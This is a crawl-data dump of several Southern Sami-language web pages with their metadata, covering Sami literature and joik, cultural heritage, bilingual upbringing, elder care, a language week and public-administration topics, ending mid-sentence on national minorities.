fotnote.\nJïjnjemesh vaajesidie altese gærjesne Gaaltije leah saemiengïelesne tjaalasovveme, mohte muvhth daaroengïelesne aaj. Dagke nimhtie dorjeme ihke gaath jïjnjh åarjelsaemieh eah åådtjeme jïjtsh ietniengïelem lïeredh, jïh altese håhkoe lea dagke daaroen vaajesigujmie buektiehtidh lohkijide eadtjoestidh saemien aaj lïeredh.\nSaemiej-eatneme\nGaebpien Gåsta aaj, guktie jïjnjebh saemien tjaelijh, tuhtji vihkeles aamhtesem saemiej eatnemereaktah nænnoestidh. Dej baeliej goh daaroeh eelkin jaevride dulviehtidh el-njuvvien åvteste, dellie saemieh jïjnjh gåatomelaanth gaerviehtin. Saemien lidteratuvresne tjïelke seamma-leejns damtesh vuajna Paulus Utsien jïh Gaebpien Gåstan vaajestimmien gaskesne. Joekoen vuajna Gåstan vaajesisnie Aejverde, gusnie lea seamma vaejviem jïh hujniem goh Paulusen vaajesisnie Dan guhkiem, juktie lægan dååjrehtamme ammes almetjh tjuerpieslaakan eatnemen vööste dåemiedamme.\nOppgaver og spørsmål\nLaavenjassh:\n1. Lohkh Paulus Utsien jïh Gaebpien Gåstan vaajesidie Dan guhkiem, Gaedtehth gaedtie jïh Aejverde. (Gaski\/Kappfjell, Åvtese jåhta – åarjelsaemien tjaalegh jïh tjaalegh åarjelsaemien. 2004. DAT, Guovdageaidnu.)\n2. Guktie sïjhth datne daej göökte tjaeliji damtesh tjïelkestidh?\n3. Man åvteste lea eatneme dan vihkeles saemien vaajestimmesne?\n4. Aktine vaajesisnie vååjnoe eatnemen lea damtesh jïh sealoe – magkerh baakoeh buerkestieh eatneme lea sårkosne?\nGaebpien Gåstan beagkoesommes vaajesem åarjelsaemien raedtesne lea Gaavalohke mij dovne vueline lea. Jïh daate vuelie bene guvvede Gåstan håksoem jïh vaejtiem åarjelsaemiej båetije biejjide, ihke daennie vuelesne Gåsta gaajhkh åarjelsaemieh krievvine ussjedi, jïh guvhkiehtæjja daennie vuelesne eevtjede bovtse jïh åarjelsaemieh rïektes otnjegem vaedtsedh, ektesne.\nGaavalohke\nBåetieh mov gaavalohke\ndaagkoe lea vaalje\nvuelelen njååjte lea\nåvtelisnie stoerre-vaegkie\nSkodth mov gaavalohke\nsåevmie lea daajroes\ngåatome jaksoes lea\njijnje-vaerie åvtelisnie\nBåetieh mov jovje-råtnoe\nbåetieh mov aaltoe\nmiesie sarva\nbåetieh mov gaavelh-krievvie\nSkodth mov gaavalohke\niejtohte vualka\ngaejvielidie gaejvide\nskodth mov gaavalohke\n(Gaaltije, 1987 DAT)\nBaakoeh:\ngaavele – bovtse mij lea aelhkie juhtiehtidh ihke lea tjåanghkosne jïh almetjh dåerede.\niejtohte – eajtohte, båastoe otnjegem vualka\ngaejvielidh – gejvielidh, bovtsem dåastoehtidh jïh rïektes otnjegem stuvredh\ngaejvide – gajvijide, gajvije lea bovtse mij sæjhta jïjtse haaran vuelkedh\nDeejrih badth...\nGaaltije lij voesteges vaajesegærjam mijjen smaaregine, jïh maaje guhkiem lij aajne vaajesegærjam åarjelsaemien gïelesne.\nLitteraturhenvisninger:\nLohkh vielie:\n– Gaebpien Gåsta\/Gustav Kappfjell 1987: Gaaltije. DAT, Guovdageaidnu.\n– Gaski, Harald jïh Lena Kappfjell (deajv.) 2005: Åvtese jåhta – åarjelsaemien tjaalegh jïh tjaalegh åarjelsaemien. DAT, Guovdageaidnu.\n– Saemien sijte: Åarjel-saemieh – samer i sør, Årboknr.8, Snåsa.\n– Saemien sijte: \"Joiken lever\". Åarjel-saemieh – samer i sør, Årbok nr.1, Snåsa.\nRammetekst:\n\" Vuelie - dan baakoen tjoeje lea goh svïhtjeminie, guktie almetje åådtje baakoen njuvvesne njyörtedh jïh baaja sealoe dejnie dïevhtedh – sårkosne jïh aavosne. Mænngan lea daennie njuvvesne mïnneme dellie sealoe lååjnehks jïh raeffies. Nov guktie sealoem binhteme.\"\n\" Jïjnjh almetjh mannem gihtjeme: Gåessie dån eelkih joejkedh? Im annje maahteme moenedh mennie aejkiemïeresne. Mohte mænngan jïermestalleme dle måjhtajim aahka utni mannem eelhpedh dejnie: Datne lih joejkeminie goh reakasovvih, jïh aahtjedh joejkemine böötih!\"\n(\"Joejkeme jeala\", Sámis nr.3, 2006)\n1. Gåsta sijhti joekehtsem mïerhkesjidh daej göökte baakoj gaskemsh; biejjie – sol\njïh biejvie – dag.\n2. Jis jïermestalleminie guktie lij saemide mubpie veartenedåaroen jaepine, dellie maahtah vielie Gåstan jïh jeatjah saemiej dååjrehtsi bïjre lohkedh: Åarjel-saemieh – Samer i sør. nr.8.Årbok for Saemien sijte.","id":"","dump":"CC-MAIN-2021-49","url":"http:\/\/www.calliidlagadus.org\/web\/index.php?sladja=51&vuolitsladja=65","date":"2021-12-03T19:32:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362918.89\/warc\/CC-MAIN-20211203182358-20211203212358-00096.warc.gz","language":"sma","language_score":0.9999970198,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999970197677612}","num_words":682,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Histovrijes gaaltijinie 15- 1600-låhkoen raejeste fjovlh «finnefjorder» gohtjesuvvieh, jïh leah vihkeles årromedajvine orreme dovne mearoesaemide jïh båatsoesaemide. Voenh fjovlemehkesne leah vihkeles åesiestimmiesijjine orreme saemiej jïh kraannaj gaskem stoerretjuetie jaepieh. Doh ræjhkoes jïh gellielaaketje vierhtieh mearoegaedtien mietie lea jeereldihkie nuepieh vadteme bïerkenidh jïh kultuvride gaskemsh låtnodh.\nMearoesaemieh leah mearoegaedtien mietie orreme abpe jaepien, mearan båatsoesaemieh leah mearoegaedtien jïh sislaanten gaskem jåhteme. Mearoesaemiej vierhtiedajvh leah fjovledajvh, såålh jïh mearoegaedtieh orreme. Daan biejjien maaje juhtijealmetjh båatsoesaemiejgujmie ektiedibie. Men aaj mearoesaemieh leah jaepieboelhki joekehts årromesijjiej gaskem jåhteme jaepien tjirrh. Juhtemen fåantoe lij jaepieboelhki jeerehtsh göölemisnie, jïh jaepieboelhki vierhtieh goh munnie jïh aegkie, jïh gåatome jïh skåajje. Dïhte guedtije tsegkie mearoesaemiej ekonomijesne lea gööleme orreme. Mearoesaemieh leah fjovlegööleminie gïehtelamme jïh meatan orreme jaepieboelhki göölemisnie mearoegaedtien mietie. Mearoesaemieh aaj jieliemassem åtneme bivtiemistie mearoen njammehkekreekide goh kååbpe, nisa jïh faala, vijremistie naehkiekreekide goh riepie, tjeavra jïh bïerne, rïeksegelidteme, vïnhtsebigkeme jïh såemies fievsienkreekh.\nMaahta saemien histovrijem gaedtiebealesne bååstede goeredh gellie stoerretjuetie jaepieh. Mijjieh åehpies saemien kultuvremojhtesesåarhth gaavnebe goh gåetieaevjieh, seamma lokaliteetine goh gellie stoerretjuetie jaepien båeries ståapoeaevjieh. Daate kontinuiteetem vierhtienuhtemisnie jïh jieledevuekine vuesehte. Daelie almetjh jienebh daejstie jåhteme jarkelimmiej gaavhtan mearoegaedtien ekonomijesne jïh sentraliseradimmien gaavhtan.\nMearoegaedtien mietie Noerhte-Romsesne jïh Finnmarhkesne stoerre sijjieh mejnie akt gaavnebe mij gohtjesåvva hellegroper, eevre feavrosne. Daate kultuvremojhtesh mejtie maahta mearoesaemien vierhtienuhtemasse jïh åesiestæmman ektiedidh gaskeaalteren mænngan. Daesnie åljam jïh liksiem evtiedamme mearoen njammehkekreekijste goh bielie aktene stoerre jallh guhkies produksjovnesne. Histovrijen tjirrh mearoesaemieh leah vaaroeh maarhkedidie buakteme goh liksie, naehkievaaroeh, hovrh, guelieh jïh vïnhtsh.\nMearoesaemien voenh leah aerpievuekien mietie gaertenh orreme gåetiejgujmie jallh derhviegåetiejgujmie gusnie almetjh årroejin, buvrieh, båvvah, fievsieh jïh skåahth, jïh naevstieh, mearoebåvvah, sïelkedahkh jïh voektenjh feavroen lïhke. Gåetieh leah daamtaj nuktehtje. Smaave ïentjh jïh sijjieh gusnie sleejin leah daamtaj juakasovveme båeries gierkiegiedtijste.\nGaavnebe aaj saemien gaertenh Saepmien sislaantesne, dejnie stoerre jeanoevuemine, skåajjesne jïh doedterisnie. Aaj daesnie gööleme lea vihkeles vierhtie orreme. Gaertenh leah åajvahkommes hijven göölemejaevriej jïh jeanoej lïhke orreme. Daesnie gåetieh åtneme gusnie jeenjemasth årroejin jallh göölemegåetieh åtneme. Saemien gaertenh sislaantesne leah daamtaj vïedteldihkie båatsoesaemiej årromedajvide jïh åtnose. Gellie båatsoesaemieh leah boelhkine jallh ihkuve arrah-almetjinie sjïdteme jïh gööleminie jïh gaertieninie aalkeme goh sijjen åejviejieleme. Åarjel-Romsesne jïh Noerhtege Nordlaantesne baakoetjïerte «markebygder» åtnasuvvieh dagkerh jåartaburrievoeni bïjre roehtsigujmie båatsoesaemiej årromedajvine.\nSaepmesne vielie goh 900 jïjtsistie vaarjeldihkie gåetieh, gusnie gåetieh, fievsieh jïh buvrieh leah doh stööremes kategorijh. Ståapoeh jïh gåetieh leah parallelle gåetieh orreme saemiej gaskem gellie tjuetie jaepieh. Nordlaantesne jïh Åarjel-Romsesne mearoesaemieh leah dïmpereståapojne orreme 1600-låhkoen raejeste, jïh dagke eantan aarebi. Derhviegåetie lea åtnasovveme eevre gierkieaalteren raejeste jïh åtnasovvi stoerre bieline Saepmeste 1930-låhkoen raajan. Mearoesaemieh, båatsoesaemieh jïh saemieh gaertenigujmie leah derhviegåetieh nuhtjeme. Mearoegaedtien mietie gåetieaevjieh gaavnebe mejtie båatsoesaemieh jïh mearoesaemieh leah nuhtjeme fjovlemehkesne. Båatsoesaemiej årromesijjieh leah maaje guhkebe mearoegaedteste, vuemine jïh aejrine.\nGåetie lea kultuvremojhtesesåarhte stoerre jeerehtsigujmie. Gaavnebe gaajhkesåarhts derhviegåetieh, gaskestoerre jïh stoerre, jorpe gåetieaevjieh jïh stoerre njieljenskaavhtegen gåetieaevjieh nænnoes balsigujmie jïh stoerre ektiegåetie-aevjieh fievsiebieline ektine. Aerviedamme doh jorpe gåetieaevjieh leah båarasommes, men leah aaj åtnosne orreme guhkiem tïjjen åvtese.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/sametinget.no\/kultuvremojhtese-jih-gaetievaarjelimmie\/saemien-kultuvremojhtesh-jih-eatneme\/mearoegaedtie-jih-gaertenelaante\/","date":"2021-11-30T15:24:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964359037.96\/warc\/CC-MAIN-20211130141247-20211130171247-00253.warc.gz","language":"sma","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000051259994507}","num_words":476,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.166,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lohkh munnjien eejhtegh jïh jeatjah geerve almetjh madtjeldahta maanide lohkedh. Gosse maanide låhka dellie gïeleevtiedimmiem dåarjohte jïh dïhte vihkele joe aareh maanetjeaalteren raejeste. Lohkedh, laavlodh jïh joejkedh maanide lea vihkeles gaskesadteme, jïh nænnoes baanth geerve almetjen jïh maanan gaskem sjugnede.\nDov gïeleveeljemen tjïrrh dov maanese, maahtah dov saemiengïeleldh aerpiem mubpien boelvese vedtedh. Maana vadtesem åådtje mij dovne maanam jïjtjemse, dan identiteetem jïh saemien kultuvrem nænnoste.\nSaemien identiteetem nænnoste\nMaana mij saemien maahta, maahta veaksahkåbpoe ektiedimmiem saemiengïeleldh seabradahkese åadtjodh.\nMaana maahta sov saamastallije maadtoeladtjigujmie jïh mubpiejgujmie gaskesadtedh.\nSaemien gïele maahta oksh rïhpestidh laanterastaj rastah, jïh gaskesem mubpiejgujmie vedtedh jïh nuepieh sjugniedidh mænngan jieliedisnie. Gïele lea vihkeles bielie almetjen identiteeteste.\nSoptsesth jïh lohkh dan jïjnjem saemien goh gåarede maanese – aelkieh aareh!\nGosse maana lea gaskem 0-4 jaepien båeries maana joekoen aelhkieslaakan gïelh lierieh. Dan åvteste stoerre aevhkie jis aareh aalkah maanine saemiestidh, dagke joe gosse nåajsan. Jalhts ih jïjtje damth datne gïelem ellieslaakan haalvoeh, byörh læjhkan dan jïjnjem saemiestidh goh gåarede maanine. Dellie maana sæjhta varke lïeredh datne aaj saemien maahtah, jïh iemie sjædta dïsse datnine saemiestidh.\nSoptsesth aarkebiejjien heannadimmiej jïh darjomi bïjre, goh v.g. gosse beapmoeh jurjiehtidie, sjeakode jïh bovresne åestede. Gosse maana lea aarkebiejjien baakoeh jïh jiehtegh saemiengielesne gåetesne lïereme, dan lea stoerre aarvoe meatan gosse mænngan maanagiertesne jallh skuvlesne aalka.\nJis dov ietniengïele lea saemien dellie stoerre aevhkie jis ajve maanine saemesth. Dellie maana sæjhta datnem identifiseeredh goh saemiengïeleldh, jïh iemie sjædta maanese datnine saemiestidh. Guktie datne soptsesth numhtie maana aaj sæjhta soptsestidh. Jis datne saemien jïh daaroen gaskem målsoeh, dellie maana sæjhta seammalaakan darjodh. Saemesth ajve maanese aaj gosse dijjieh lidie almetji gaskem mah eah saemien guarkoeh.\nAevhkieh jienebi gïeligujmie\nMaanese lea aelhkie gïelh lïeredh, jïh maahta bielelen naan dåeriesmoerh jienebh gïelh lïeredh seamma tïjjen. Daan biejjien gamte sïemesvoete maanan lea stoerre aevhkie gosse gööktine jallh jienebi gïeligujmie byjjene. Stoerre bieline veartenistie lea sïejhme gellie gïelh maehtedh, jïh dïhte lea stoerre aarvoe ij ajve fïereguhten almetjasse, men abpe seabradahkese.\nGosse guektien- jallh gelliengïeleldh, dellie ij ajve jienebh gïelh haalvoeh, men aaj baahtsemem åådtje ovmessie vearteni jïh ussjedimmievuekiej sïjse. Göökte jallh jienebh gïelh lïeredh aareh aaltaristie lea hijven don kognitijve evtiedimmien gaavhtan, goh kreativiteete, konsentrasjovne, «multitasking» jïh dåeriesmoerh loetedh.\nDah mah gellie gïelh maehtieh, maehtieh aaj aelhkebelaakan orre gïelh lïeredh mænngan jieliedisnie, jïh dotkemen mietie vååjnoe goh lïereme maahta aelhkebe årrodh dejtie.\nTjaalegen gaaltijh:\nSpråkvalg er viktig: veiledningshefte. Saemiedigkie\nSissel Jåma jïh Aasta Joma Granefjell: Saemesth maanine. Aajege, 2019.\nMaam dotkeme jeahta\nÅ vokse opp med flere språk: Spørsmål og svar\nTospråklige tenker mer effektivt\nHvordan stands it to: (om å «blande» to språk)\nTidlig flerspråklighet (video)\nÅ være flerspråklig","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/sametinget.no\/saemiedigkien-garjagaetie\/lohkh-munnjien-giele-voestesiereste\/gelliengieleldh-arrodh\/","date":"2021-12-08T13:19:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363510.40\/warc\/CC-MAIN-20211208114112-20211208144112-00354.warc.gz","language":"sma","language_score":1.0000061989,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000061988830566}","num_words":429,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.117,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien voereshokse, samisk äldreomsorg\nBïerjen tjïelte tsiengelen 1:s biejjien 2010 männgan, akten saemien reeremedajve lea. Laakem nasjonellen unnebelåhkoej jih unnebelåhkoejgïelij bïjre (SFS 2009:724) seamma tijjesne faamosne sjïdtigan jih lägan numhtie, ahte aktem tjieltem akten reeremedajvesne galka hoksehtimmide jih hokside saemiengïelesne abpe tijjem jallh biehkiem voereshoksesne barkijijstie faaledh mah saemien maehtieh.\nSaemien öörneme voeresårromesijjem\nTreklöveresne Åsarnasne lea sjïere voeresårromesijjesne öörneme ihke saemiej daerpiesvoeth dåastoehtidh. Aktem biejjietjiehtjelem gusnie saemien daeverh jih gärjah lea öörneme. Saemien beapmoeh akten aejkien fïerhten vahkan hoksehten jih dah barkijh leah åarjelsaemien maadth-ööhpehtimmiem vaadtseme. Dah leah aaj saemien histovrijen, kultuvren jih vätnoen bïjre lohkeme.\nFïerhten vahkan akte almetje guessine voeresalmetjidie båata mij åarjelsaemien soptseste, ihke stimulansem vedtedh jih daerpiesvoetide jaksedh mah dah jiehtien gosse ietniegïelem soptsesten.\nGosse akten byjreskesne gusnie jeatjah arrijh altese ietniengïelem soptsestieh jih ektievoeten dååjrehtimmieh utnieh, gaajh buerie lea. Jih aaj dah kulturellen daeverh leah vihkeles. Daesnie datne akten byjreskem faalen gusnie gåetesne galkh damtedh.\nUppdaterad:","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.berg.se\/48\/saepmie\/information-pa-samiska\/hokse-viehkie-jih-sajhtoe-omsorg-hjalp-och-vard\/arromesijjem-voeresalmetjidie-boende-for-aldre\/saemien-voereshokse-samisk-aldreomsorg","date":"2021-12-01T03:10:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964359082.78\/warc\/CC-MAIN-20211201022332-20211201052332-00451.warc.gz","language":"sma","language_score":0.9999996424,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 0.9999996423721313}","num_words":149,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.201,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien gïelevåhkoe\nGolken 25. – 31. b. 2021\nBielieh programmeste\nSaernieh\nMij?\nUlmie Gïelevåhkojne lea statusem lutnjedh saemien gïelide, jïh daajroem saemien gïeli jïh kultuvren bïjre lutnjedh abpe seabradahkesne. Raaktan daan våhkoen saemien gïelh edtjieh govledh jïh vååjnedh gaajhkem lehkiem.📣\nMannasinie?\nJalhts leah vaahresne nåhkedidh, saemien gïelh jåerhkieh kreeptjedidh. Nov lea håhkoe. Akte sjïdtije voerkesvoete saemiej luvnie gïelen jïh gïeleveeljemen bïjre, jïh ahkedh jienebh veeljieh meatan årrodh kuvsjine juktie gïelem bååstede vaeltedh maam aarebi boelvh leah dasseme.\nDajvine gusnie saemien ij leah åtnosne orreme akte jallh göökte boelvh, noere geerve almetjh daelie gïelem bååstede vaeltieh jïh vååregelaakan pryövoeh dam guhkiebasse vedtedh sijjen maanide. Orre boelve saamastallije maanajgujmie sjïdtedeminie. 🌻","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/giellavahkku.org\/sma\/","date":"2021-11-30T15:38:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964359037.96\/warc\/CC-MAIN-20211130141247-20211130171247-00155.warc.gz","language":"sma","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 1.0000076293945312}","num_words":104,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.202,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaavnoe kultuvremojhtesijstie Kultuvremojhteselaake 1978 jeatha edtja kultuvremojhtesh jïh kultuvrebyjresh sijjen sjïerevoetine jïh jeerehtsinie gorredidh goh bielie mijjen kultuvreaerpeste jïh identiteeteste, jïh goh bielie aktene ellies byjrese- jïh vierhtiereremisnie. Kultuvremojhtesh leah gaajhkh gïejh mijjen fysiske byjresisnie mah vuesiehtieh almetjh desnie orreme, aaj sijjieh mejtie histovrijes heannadimmieh, jaahkoe jallh aerpievuekie leah ektiedamme. Saemien kultuvremojhtesh 1917 raejeste jallh båarasåbpoe leah jïjtsistie vaarjelamme jïh Saemiedigkeste reeresuvvieh. Saemien kultuvremojhtesh leah mij akt mij vuesehte guktie mijjen aarebi maadtoeh eatnemem nuhtjeme jïh desnie hööllestamme. Saemien kultuvremojhtesh daajroem buektieh jieledetsiehkiej bïjre, bïerkenimmiestrategijh, vierhtieåtnoe, jaahkoevuekie jïh sjïehtedimmieh eatnamasse. Saemien kultuvremojhtesh leah dan åvteste vihkeles dokumentasjovnematerijelle saemien histovrijasse jïh åvteshistovrijasse. Gaskesadth mijjem jis maam akt gaavneme jallh vuajneme mij maahta båarasåbpoe saemien kultuvremojhtesinie årrodh. Dov gaavnoe maahta orre daajroem vedtedh saemien histovrijasse jïh åvtehistovrijasse.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/sametinget.no\/kultuvremojhtese-jih-gaetievaarjelimmie\/maam-akt-baeries-gaavneme\/gaavnoe-kultuvremojhtesijstie\/","date":"2021-11-30T15:32:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964359037.96\/warc\/CC-MAIN-20211130141247-20211130171247-00529.warc.gz","language":"sma","language_score":1.0000056028,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000056028366089}","num_words":123,"character_repetition_ratio":0.133,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.203,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Fylhkenålma edtja nasjovnaale ålkoejieledeiedtjh gorredih mah leah gaedtiebealan, tjaetsieåeriej jïh vaeriej bïjre. Fylhkenålma lea regijovnale tjïrkije staaten goh dajveaajhtere dejnie gorredamme ålkoejielededajvine.\nDovne Fylhkenålma, fylhkentjïelte jïh tjïelth edtjieh krööhkedh sïejhme almetji nuepiem ålkoejieledem nåhtadidh, gosse aamhtesh gïetedieh arealenuhtjemen bïjre. Fylhkentjïelte maahta dåarjoem vedtedh råajvarimmide mah skreejrieh ålkoejieledisnie meatan årrodh, jïh gorredidh jïh orre ålkoejielededajvh darjodh.\nVijreme jïh gööleme\nGaajhkh vijrh leah vaarjelamme jis ij maam akt jeatjebem laakine jallh jïjtse nænnoestimmine nænnoestamme. Direktovraate eatnemereeremasse vijremetïjjen nænnoste ovmessie aarhtide, men tjïelte maahta guhkiedidh jallh åeniedidh vijremetïjjem muvhtide aarhtide. Tjïelte mahte abpe reeremedïedtem vijri åvteste åtna, mejtie maahta vuetjedh. Fylhkentjïelte edtja tjïeltide bïhkedidh gaajhki aarhti bïjre mejtie maahta vuetjedh, bielelen gedtie.\nFylhkenålma klååkemefaamoem åtna.\nFylhkenålman aaj dïedte loesem, mearoedååpmehkem jïh prååsehke såarhth jaevrieguelijste reeredh. Fylhkenålman aaj dïedte gaajhki guelieaarhti åvteste tjaetsiestuvrehtimmien sjïekenisnie.\nFylhkenålma statistihkem tjöönghkie loese- jïh mearoedååpmehkegöölemistie, vïhtesjadta man gellie mah meatan orreme mearoeloesegöölemisnie jïh dåarjoem staateles gueliefoenteste joekede. Vååksjedimmie vihkeles jis edtja buektiehtidh guelieveahkide gorredidh jïh lissiehtidh. Fylhkenålma lïhke gaskesem åtna dajveaajhterigujmie jïh vijreme- jïh göölemetjiertigujmie, jïh aktem lïhke laavenjostoem åtna pollisinie, Staaten eatnemevaaksjoeminie jïh Mearoegaedtievaeptine juktie guelievierhtide vååksjedidh.\nEatnemereeremen direktovraate dïedtem åtna gueliestuvrehtimmiej åvteste jeanojne jïh mearosne, jïh mieriedimmieh dorje göölemasse loeseste jïh mearoedååpmehkistie.\nFylhkentjïelte dïedtem åtna jaevriegueliej åvteste, mah eah leah håvhtadihks. Fylhkentjïelte aaj dïedtem åtna gueliebïepmehtimmiekonsesjovnide joekedidh.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.statsforvalteren.no\/sma\/agder\/Miljo-og-klima\/Alkoejielede\/","date":"2021-11-30T06:11:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358953.29\/warc\/CC-MAIN-20211130050047-20211130080047-00379.warc.gz","language":"sma","language_score":1.0000038147,"language_script":"Latn","minhash_cluster_size":38,"top_langs":"{\"sma_Latn_score\": 1.0000038146972656}","num_words":210,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.119,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1917–2017\nGoevten 6. b. 1917 saemien åålmege dam voestes tjåanghkoem abpe laantese höölti mij lij saemien ïedtji bïjre. 100-jaepienheevehtimmie 2017 lea akte stoerre nasjovnaale heannadimmie maam mïerhkesje stoerre bieline Saepmeste jïh Nöörjesne. Rørosmuseet heevehtimmiem mïerhkesje gellie håalemigujmie, bæjhkoehtimmie jaepiegærjeste goh saemien teemalåhkoe jïh aktine stoerre vuasahtalleminie Smelthyttesne. Goevten 6. b. lea saemiej åålmegebiejjine sjïdteme dej heannadimmiej gaavhtan 1917.\n6. februar i 1917 holdt det samiske folk det første landsdekkende møtet som omhandlet samiske interesser. 100-årsjubileet i 2017 er en stor nasjonal begivenhet som vil bli feiret over store deler av Saepmie og i Norge. Rørosmuseet markerer jubileet gjennom ei rekke foredrag, utgivelse av årboka som samisk temanummer og med ei stor utstilling i Smelthytta. 6. februar har med bakgrunn i hendelsene i 1917, blitt samenes nasjonaldag.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/rorosmuseet.no\/stemmer-fra-sor","date":"2021-12-04T00:31:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362923.11\/warc\/CC-MAIN-20211204003045-20211204033045-00016.warc.gz","language":"sma","language_score":0.9714923501,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.971492350101471, \"sme_Latn_score\": 0.0223675724118948}","num_words":115,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.078,"flagged_words_ratio":0.0,"lang_id_score":0.971,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Turnusedïenesje lea akte jaepie skïemtjegåetesne, jïh dan mænngan bielie jaepie goh sïejhme dåaktere. Turnusetïjjen dåaktere dejtie seamma dïedtide jïh reaktide utnieh goh autoriseradamme, nöörjen dåakterh, men turnusedåakterh eah åadtjoeh bådtjaleahpah A-preparatigujmie olkese tjaeledh (vuesiehtimmien gaavhtan morfine)\nFylhkenålam turnusesijjieh skååffie tjïeltehealsoedïenesjisnie fylhkesne, jïh veeljemem reerie turnusesijjijste.\nTurnusesijjieh fysioterapeutide\nFylhkenålma fïerhtene fylhkesne turnusesijjieh jååhkesje fysioterapeutide skïemtjegåetine jïh tjïeltehealsoedïenesjisnie. Fylhkenålma Tromsesne, Hordalaantesne jïh Oslo jïh Akershusesne åejviedïedtem utnieh nuekies turnusesijjieh skååffedh sov dajvesne (Noerhte-Nöörje, Vestlaante jïh Østlaante).\nTurnusesijjide jallh turnusesijjiej gaskem juhtedh\nStaaten autorisasjovnekontovre healsoebarkijdie (daaroen åeniedamme SAFH) reerie jïh dåarjoem maaksa vuelkiemasse jïh juhtiemasse turnusedïenesjisnie. Turnusekandidaath mah öörnegistie feerhmesuvvieh tjuerieh åvtelhbodti jååhkesjimmiem åadtjodh SAFH'ste. Tjuara SAFH'em gaajhkh gyhtjelassh juhtememaaksoej bïjre gihtjedh.\nVuelkememaaksoeh - turnusekuvsjh\nFylhkenålma dïenesjefylhkesne vuelkememaaksoeh maaksa gosse meatan dåehkiebïhkedimmesne, kuvsjesne dåakterevaeptiebådtjan bïjre jïh Fylhkenålman seminaaresne byögkeles healsoebarkoen bïjre.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.statsforvalteren.no\/sma\/Noerhte-Troondelagen\/Healsoe-jih-hokse\/Turnusedienesje\/","date":"2022-01-18T19:47:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300997.67\/warc\/CC-MAIN-20220118182855-20220118212855-00392.warc.gz","language":"sma","language_score":0.999986887,"language_script":"Latn","minhash_cluster_size":30,"top_langs":"{\"sma_Latn_score\": 0.9999868869781494}","num_words":127,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.113,"stopwords_ratio":0.126,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nasjonaale unnebelåhkoeh\nHijven daejredh\nUnnebelåhkoelaakesne byjjes nænnoestimmieh gååvnesieh mah faamosne abpe laantesne jïh gaajhki nasjonaale unnebelåhkoej jïh unnebelåhkoegïele gaavhtan.\nDah nasjonaale unnebelåhkoegïelh leah såevmiegïele, jiddisch, meänkieli, romani chib jïh saemiengïelh, jïh smaarehgïelh dejstie gïelijste. Dah nasjonaale unnebelåhkoeh Sveerjesne leah judarh, romerh, saemieh (aaj aalkoealmetjh), sveerjesåevmieladtjh jïh torneladtjh. Jienebh nasjonaale unnebelåhkoeh utnieh gellie identiteetenommh jïh dah leah: vuelkijh jïh romerh utnieh romani chib goh dej nasjonaale unnebelåhkoegïele jïh torneladtjh, kveenh jïh lantalaiset utnieh meänkieli goh dej nasjonaale unnebelåhkoegïele.\nSoptsestalleme jïh tsevtseme\nDah sïejhmi njoelkedassh unnebelåhkoelaakesne stuvrie Sveerjen nasjonaale 